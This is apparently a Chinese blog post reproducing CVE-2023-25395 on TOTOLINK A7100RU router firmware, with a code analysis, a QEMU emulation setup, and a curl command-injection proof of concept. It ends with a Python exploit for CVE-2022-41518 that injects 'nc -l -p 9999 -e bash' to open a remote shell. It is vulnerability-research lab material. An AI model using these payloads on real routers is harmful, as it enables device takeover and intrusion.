CVE-2023-25395复现

CVE-2023-25395复现

固件下载地址:http://totolink.net/home/menu/detail/menu_listtpl/download/id/185/ids/36.html

影响版本

image-20230925131341626

漏洞是位于/usr/lib/lighttpd/web/cgi-bin的cstecgi.cgi程序

image-20230925131446362

image-20230925131450914

image-20230925131455421

image-20230925131503658

漏洞分析

通过字符串setOpenVpnCertGenerationCfg,再通过ou传参最终可以实现命令注入(揭露者的poc是有问题的,他是批量提交都使用的是第一个的图片和方法,这个cve的poc最后是无法打通的),所以最后maur师傅最后另外找了一个方法,来实现命令注入

,但最后效果是一样的

首先是通过strstr函数将var指向输入的setOpenVpnCertGenerationCfg字符串,接着是v22指向off_44F048如果为空就指向最下面程序结束,接着将v42指向var即指向输入的字符串,接着将v42与v41不断进行比较,不同则将v41+0x44寻找下一个比较的字符串,相同则将v22指向v41+0x40(注意这里ida分析的伪代码是有问题的,实际实现起来也是有问题的),即指向0x4327fc。

接着进入这个函数,程序通过获取ou参数下的内容传递给v14,之后将v14带入到Uci_Set_Str函数中,在Uci_Set_Str函数中,通过snprintf函数,将a4匹配到的内容格式化进v11,之后将v11带入cstesystem函数中,函数直接将用户输入内容带入到execv函数中,实现命令注入

固件模拟

一开始尝试了两个自动化工具,我尝试了FirmAE,maur师傅尝试了Firmadyne,最后发现都不行(因为是要给qemu制定cpu参数)

所以最后决定使用qemu系统级模拟,一开始尝试的是使用buildroot编译内核和文件系统,但是由于我这里出现了一堆玄学问题和buildroot编译的mipsel32缺少很多东西(例如ssh),所以最后我使用了debian官网的debian_wheezy_mipsel_standard.qcow2和debian_wheezy_mipsel_standard.qcow2

1.启动qemu

这里得配置网络,以及指定这个固件的cpu参数

启动脚本:

1
2
3
4
5
6
7
8
#set network
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.182.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.182.11/24 up
sudo brctl addif virbr0 tap0

qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta-el -cpu 24KEc -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

2.将固件的文件系统传进qemu虚拟机

用debian官网的确实要方便一点,可以直接使用ssh传进来

1
scp -r squashfs-root/ root@192.168.182.12:/root

3.启动固件的web服务

1
2
chroot A7100RU /bin/sh
./usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf -D

这样使用浏览器访问192.168.182.12就可以查看到浏览器的页面了,貌似是因为使用qemu模拟的原因和路由器真机还是有一定的偏差,导致js出了些问题无法完整的显示页面,但是并不影响复现这个cve

image-20230925131510509

漏洞利用

可以直接使用bp传参,也可以使用curl传递post参数,这里我使用的是curl

1
curl http://192.168.182.12/cgi-bin/cstecgi.cgi -X POST  -d '{"topicurl":"setOpenVpnCertGenerationCfg","ou":"1$(ls>/tmp/256.txt;)"}'

image-20230925131517333

上图可以看到是有回显的,并且通过ssh连入qemu虚拟机也可以发现成功写入了/tmp/256.txt文件

image-20230925131521625

CVE-2022-41518 这个模拟的方式和前面也没差太多,漏洞也是一个命令注入,主要还是从exp学了点东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import contextlib
import requests
import os

session = requests.Session()
login_url = "http://192.168.182.12/formLoginAuth.htm?authCode=1&userName=admin&goURL=home.html&action=login"
raw = session.get(login_url, timeout=5)

inject_url = "http://192.168.182.12/cgi-bin/cstecgi.cgi"
inject_data = {
"proto":"8",
"hostname":"';nc -l -p 9999 -e bash;'",
"topicurl":"setOpModeCfg"
}

with contextlib.suppress(Exception):
resp = session.post(inject_url, json = inject_data, timeout=1)
print("shell!? ---------------> ")
os.system("nc 192.168.182.12 9999")

命令注入主要是在hostname的处理,同样是sprintf的问题,然后通过nc -l -p 9999 -e bash就可以拿到shell了


CVE-2023-25395复现
http://blogyoulin.top/2023/09/25/CVE-2023-25395复现/
Author
John Doe
Posted on
September 25, 2023
Licensed under